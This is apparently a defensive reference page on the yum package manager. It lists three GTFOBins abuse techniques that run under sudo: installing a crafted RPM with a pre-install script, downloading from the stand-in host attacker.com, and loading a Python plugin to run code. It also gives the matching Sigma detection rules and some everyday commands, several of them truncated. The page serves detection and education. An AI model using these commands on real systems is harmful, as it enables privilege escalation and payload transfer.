Identifier / Programs / Linux and Unix

yum

Package manager for Fedora 41+ and RHEL 10. For equivalent commands in other package managers, see <https://wiki.archlinux.org/title/Pacman/Rosetta>. tldr-pages

GTFOBins command, download, inherit 2 Sigma rules name it 1 ATT&CK technique 3 documented commands

How yum is abused

documented by GTFOBins

command

localinstall

-y

download T1105 Ingress Tool Transfer

install

inherit

-c

--enableplugin

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for yum.

3 documented commands

from GTFOBins, each read by the identifier

command with sudo

Generate the RPM package with fpm and upload it to the target.

echo /path/to/command >x.sh
fpm -n x -s dir -t rpm -a all --before-install .x.sh .

yum localinstall -y x-1.0-1.noarch.rpm

Identify

download with sudo

The file on the remote host must have the .rpm extension, but the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in /var/tmp/yum-root-xxxxxx/.

yum install http://attacker.com/path/to/input-file.rpm

Identify

inherit with sudo

This allows to run Python code (...).

cat >/path/to/temp-dir/x<<EOF
[main]
plugins=1
pluginpath=/path/to/temp-dir/
pluginconfpath=/path/to/temp-dir/
EOF

cat >/path/to/temp-dir/y.conf<<EOF
[main]
enabled=1
EOF

cat >/path/to/temp-dir/y.py<<EOF
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  ...
EOF

yum -c /path/to/temp-dir/x --enableplugin=y

Identify

None of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for yum. The identifier reads the line of each that runs yum.

What detects it

Sigma process creation rules

mediumSuspicious Package Installed - LinuxNasreddine Bencherchali (Nextron Systems)

lowLinux Package UninstallTuan Le (NCSGroup), Nasreddine Bencherchali (Nextron Systems)

T1105Ingress Tool Transfer

Everyday use

from tldr-pages, CC BY 4.0

Upgrade installed packages to the newest available versions

sudo dnf [upIdentify

Search packages via keywords

dnf [se keyword1 keyword2 ...Identify

Display details about a package

dnf [if packageIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.

yum

How yum is abused

3 documented commands

What detects it

Everyday use

Other programs abused for command